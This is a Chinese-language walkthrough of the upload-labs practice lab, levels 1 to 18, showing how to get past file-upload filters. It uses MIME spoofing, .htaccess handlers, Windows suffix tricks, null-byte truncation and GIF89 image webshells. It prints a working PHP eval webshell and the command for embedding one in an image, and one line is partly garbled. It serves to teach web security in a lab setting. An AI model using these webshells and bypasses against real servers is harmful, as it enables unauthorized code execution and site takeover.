第一关为前端检测,可将webshell文件后缀现改为jpg,然后用bp截包修改成php上传即可。
第二关为检测文件类型,用bp截包把application/octet-stream修改为image/png即可绕过。
使用黑名单过滤,不允许上传asp,aspx,php,jsp;这里可以上传phtml,php3等后缀文件。
第四关依然是黑名单过滤,加了很多个,但是没有加.htaccess,我们可以上传htaccess后缀文件进行绕过。.htaccess文件内容如下
<FilesMatch "halo">
SetHandler application/x-httpd-php
</FilesMatch>
这个时候就再上传一个文件名字是halo,这个时候我们上传一个文件名字叫做halo的文件,不要后缀名,然后里面是一句话木马,用菜刀连接。
蚁剑连接:
第五关黑名单加了.htaccess,::$DATA也被过滤,要换一种思路,可以通过构造shell.php . .来绕过
成功绕过上传,这里后缀还有空格和点是因为windows会自动把文件后缀的点和空格去掉,所以最后能上传为shell.php
第六关黑名单有.htaccess,也过滤了::$DATA,但是没有用到转换为小写的函数,用shell.Php就可以绕过
第六关黑名单有.htaccess,也过滤了::$DATA,没有用首尾去掉空格的函数,可以利用windows的特性把文件后缀加空格进行绕过
第八关跟之前两关原理一样,这里使用后缀加点来绕过,上传和windows会自动把点去掉
第九关和前面原理一样,这一关使用:: D A T A 进 行 绕 过 , 这 里 也 是 使 用 了 w i n d o w s 的 特 性 , 可 自 行 查 一 下 : : DATA进行绕过,这里也是使用了windows的特性,可自行查一下:: DATA进行绕过,这里也是使用了windows的特性,可自行查一下::DATA的原理
成功上传
第十关用第五关的方法加空格和点就能绕过,shell.php . .
十一关用了str_ireplace的函数把黑名单内的字符都替换成空格,使用这个函数这样过滤是不安全的,所以可以使用shell.pphphp进行绕过。
十二关是POST型,从截的包看上传的路径是可控的,可以使用00截断,filename写shell.jpg绕过检查,在save_path使用00截断进行绕过
十三关与十二关一样为POST型原理一样,上传路径可控,使用00截断,这里%00已经已经进行编码
十四关开始是白名单上传,上传图片马用目录下的include.php文件包含来解析图片马。十四关对上传的图片头部进行了检查,可以先把一句话木马前面加GIF89,然后再把后缀改为.gif就可以进行绕过。
一句话木马内容:
GIF89
<?php @eval($_POST['caidao']);?>
上传成功,使用文件包含蚁剑成功连接上
http://192.168.10.1/upload-labs-master/include.php?file=http://192.168.10.1/upload-labs-master/upload/6420200616103513.gif
十五关与十四关一样,一句话木马文件头部加GIF89然后后缀改成gif即可上传成功
16关有点特殊,需要把phpstudy的php_exif模块打开,然后把一句话写进图片里制作图片马,dos里使用命令例如:copy pic.gif/b+shell.php newpic.gif
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
十七关会有二次渲染,使用copy pic.jpg/b+shell.php newpic.jpg生成的图片马里面的一句话会被渲染掉,所以需要对比渲染前后哪里相同,再用notepad打开图片把一句话写进去就能利用文件包含解析。
自己生成的图片马底部有一句话内容:
经过17关这里渲染过的图片格式,可以看到一句话内容已经被渲染掉了。
经过对比两个图片内容,在相同的地方再写入一句话进行上传,我这里在头部进行插入一句话,用蚁剑能成功连接,说明没被渲染掉:
十八关与十三关一样,把一句话改成jpg后缀就能绕过进行上传。